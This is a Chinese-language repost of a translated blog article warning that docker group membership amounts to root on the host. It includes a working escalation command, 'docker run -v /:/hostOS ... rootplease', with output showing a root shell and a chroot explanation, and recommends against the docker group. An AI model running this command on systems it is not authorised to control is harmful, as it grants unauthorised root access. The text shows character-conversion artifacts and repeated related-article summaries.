摘要:本文翻譯自,目的在于提醒大家注意安全性。咨詢(xún)了作者得知,是在容器內(nèi)獲得宿主機(jī)的權(quán)限。給用戶提供權(quán)限和給用戶無(wú)需認(rèn)證便可以隨便獲取的權(quán)限差別不大。在他們的安全文檔中,他們也的確表示用戶組的權(quán)限和權(quán)限差別不大,并且敬告用戶慎重使用。
本文翻譯自 Privilege Escalation via Docker,目的在于提醒大家注意安全性。本文中所有的內(nèi)容總結(jié)成一句話:某個(gè)用戶被加入了 docker 用戶組,那么這個(gè)用戶相當(dāng)于直接獲得了宿主機(jī)免認(rèn)證的 root 權(quán)限。
文章太長(zhǎng)不要看,一句話,不要用 docker 用戶組。
如果你對(duì) Docker 不熟悉的話,簡(jiǎn)單來(lái)說(shuō),Docker 是一個(gè)輕量級(jí)的應(yīng)用容器。和常見(jiàn)的虛擬機(jī)類(lèi)似,但是和虛擬機(jī)相比,資源消耗更低。并且,使用和 GitHub 類(lèi)似的被 commit 的容器,非常容易就能實(shí)現(xiàn)容器內(nèi)指定運(yùn)行環(huán)境中的應(yīng)用打包和部署。
問(wèn)題如果你有服務(wù)器上一個(gè)普通用戶的賬號(hào),如果這個(gè)用戶被加入了 docker 用戶組,那么你很容易就能獲得宿主機(jī)的 root 權(quán)限。
黑魔法:
docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
輸出如下:
johndoe@testmachine:~$ docker run -v /:/hostOS -i -t chrisfosterelli/rootplease [...] You should now have a root shell on the host OS Press Ctrl-D to exit the docker instance / shell # whoami root #此處是容器內(nèi)部,但是容器已經(jīng) chroot /hostOS,所以相當(dāng)于直接獲取了宿主機(jī)的 root 權(quán)限。 #
解釋譯者一直以為是 Ctrl-D 之后,宿主機(jī)的 shell 變成 root,實(shí)際上不是。
咨詢(xún)了作者 Chris Foster 得知,是在容器內(nèi)獲得宿主機(jī)的 root 權(quán)限。
是不是想起了以前譯者在 Docker 安全 中提到的容器內(nèi)部的 UID=0 對(duì)容器外部某個(gè)不明程序執(zhí)行了 chmod +s?
當(dāng)然,所有的解釋匯成一句話,應(yīng)該就是:docker 組內(nèi)用戶執(zhí)行命令的時(shí)候會(huì)自動(dòng)在所有命令前添加 sudo。因?yàn)樵O(shè)計(jì)或者其他的原因,Docker 給予所有 docker 組的用戶相當(dāng)大的權(quán)力(雖然權(quán)力只體現(xiàn)在能訪問(wèn) /var/run/docker.sock 上面)。
默認(rèn)情況下,Docker 軟件包是會(huì)默認(rèn)添加一個(gè) docker 用戶組的。Docker 守護(hù)進(jìn)程會(huì)允許 root 用戶和 docker 組用戶訪問(wèn) Docker。給用戶提供 Docker 權(quán)限和給用戶無(wú)需認(rèn)證便可以隨便獲取的 root 權(quán)限差別不大。
解決方案對(duì)于 Docker 來(lái)說(shuō)可能很難修復(fù),因?yàn)樯婕暗剿麄兊募軜?gòu)問(wèn)題,所以需要重寫(xiě)非常多的關(guān)鍵代碼才能避免這個(gè)問(wèn)題。我個(gè)人的建議是不要使用 docker 用戶組。當(dāng)然,Docker 官方文檔中最好也很清楚地寫(xiě)明這一點(diǎn)。不要讓新人不懂得“和 root 權(quán)限差別不大”是什么意思。
Docker 官方也意識(shí)到了這個(gè)問(wèn)題,盡管他們并沒(méi)有很明顯地表明想去修復(fù)它。在他們的安全文檔中,他們也的確表示 docker 用戶組的權(quán)限和 root 權(quán)限差別不大,并且敬告用戶慎重使用。
漏洞詳情上面那條命令 docker run -v /:/hostOS -i -t chrisfosterelli/rootplease,主要的作用是:從 Docker Hub 上面下載我的鏡像,然后運(yùn)行。參數(shù) -v 將容器外部的目錄 / 掛載到容器內(nèi)部 /hostOS,并且使用 -i 和 -t 參數(shù)進(jìn)入容器的 shell。
這個(gè)容器的啟動(dòng)腳本是 exploit.sh,主要內(nèi)容是:chroot 到容器的 /hostOS (也就是宿主機(jī)的 /),然后獲取到宿主機(jī)的 root 權(quán)限。
當(dāng)然可以從這個(gè)衍生出非常多的提權(quán)方法,但是這個(gè)方法是最直接的。
本文中所提到的代碼托管在 Github,鏡像在 Docker Hub。
文章版權(quán)歸作者所有,未經(jīng)允許請(qǐng)勿轉(zhuǎn)載,若此文章存在違規(guī)行為,您可以聯(lián)系管理員刪除。
轉(zhuǎn)載請(qǐng)注明本文地址:http://systransis.cn/yun/11143.html
摘要:本文翻譯自,目的在于提醒大家注意安全性。咨詢(xún)了作者得知,是在容器內(nèi)獲得宿主機(jī)的權(quán)限。給用戶提供權(quán)限和給用戶無(wú)需認(rèn)證便可以隨便獲取的權(quán)限差別不大。在他們的安全文檔中,他們也的確表示用戶組的權(quán)限和權(quán)限差別不大,并且敬告用戶慎重使用。 本文翻譯自 Privilege Escalation via Docker,目的在于提醒大家注意安全性。本文中所有的內(nèi)容總結(jié)成一句話:某個(gè)用戶被加入了 ...
摘要:我們也不再需要提供的安全標(biāo)簽的策略了。增加容器之間的隔離度,甚至可以完全拋棄機(jī)制。禁止的越多越安全。例如的插件就得管管,畢竟插件都是來(lái)自互聯(lián)網(wǎng),沒(méi)辦法保證的安全。在瀏覽器中使用執(zhí)行插件確保系統(tǒng)的安全。未來(lái)的我們將會(huì)繼續(xù)增強(qiáng)的安全功能。 當(dāng)我開(kāi)始在opensource.com上面寫(xiě)這一系列的docker安全的文章是,想闡述的一點(diǎn)就是:他們快罩不住了(containers do not c...
摘要:我們也不再需要提供的安全標(biāo)簽的策略了。增加容器之間的隔離度,甚至可以完全拋棄機(jī)制。禁止的越多越安全。例如的插件就得管管,畢竟插件都是來(lái)自互聯(lián)網(wǎng),沒(méi)辦法保證的安全。在瀏覽器中使用執(zhí)行插件確保系統(tǒng)的安全。未來(lái)的我們將會(huì)繼續(xù)增強(qiáng)的安全功能。 當(dāng)我開(kāi)始在opensource.com上面寫(xiě)這一系列的docker安全的文章是,想闡述的一點(diǎn)就是:他們快罩不住了(containers do not c...
摘要:我們也不再需要提供的安全標(biāo)簽的策略了。增加容器之間的隔離度,甚至可以完全拋棄機(jī)制。禁止的越多越安全。例如的插件就得管管,畢竟插件都是來(lái)自互聯(lián)網(wǎng),沒(méi)辦法保證的安全。在瀏覽器中使用執(zhí)行插件確保系統(tǒng)的安全。未來(lái)的我們將會(huì)繼續(xù)增強(qiáng)的安全功能。 當(dāng)我開(kāi)始在opensource.com上面寫(xiě)這一系列的docker安全的文章是,想闡述的一點(diǎn)就是:他們快罩不住了(containers do not c...
摘要:然而,當(dāng)享受帶來(lái)擴(kuò)展性資源利用率和彈性提升的同時(shí),其所面臨的安全隱患同樣值得重視,近日在上撰文進(jìn)行了總結(jié)。然而除下容器與主系統(tǒng)完全解耦,這種使用就會(huì)存在潛在的安全隱患。在回應(yīng)有關(guān)的安全問(wèn)題時(shí),這里詳細(xì)討論了如何緩解的安全問(wèn)題。 【編者按】對(duì)比虛擬機(jī),Docker 在體量等方面擁有顯著的優(yōu)勢(shì)。然而,當(dāng) DevOps 享受 Docker 帶來(lái)擴(kuò)展性、資源利用率和彈性提升的同時(shí),其所面臨的安...
閱讀 2940·2021-11-04 16:06
閱讀 775·2021-09-30 09:56
閱讀 1841·2021-09-22 10:02
閱讀 2622·2019-08-29 13:43
閱讀 2218·2019-08-29 13:42
閱讀 2300·2019-08-29 12:21
閱讀 1056·2019-08-29 11:29
閱讀 1387·2019-08-26 13:51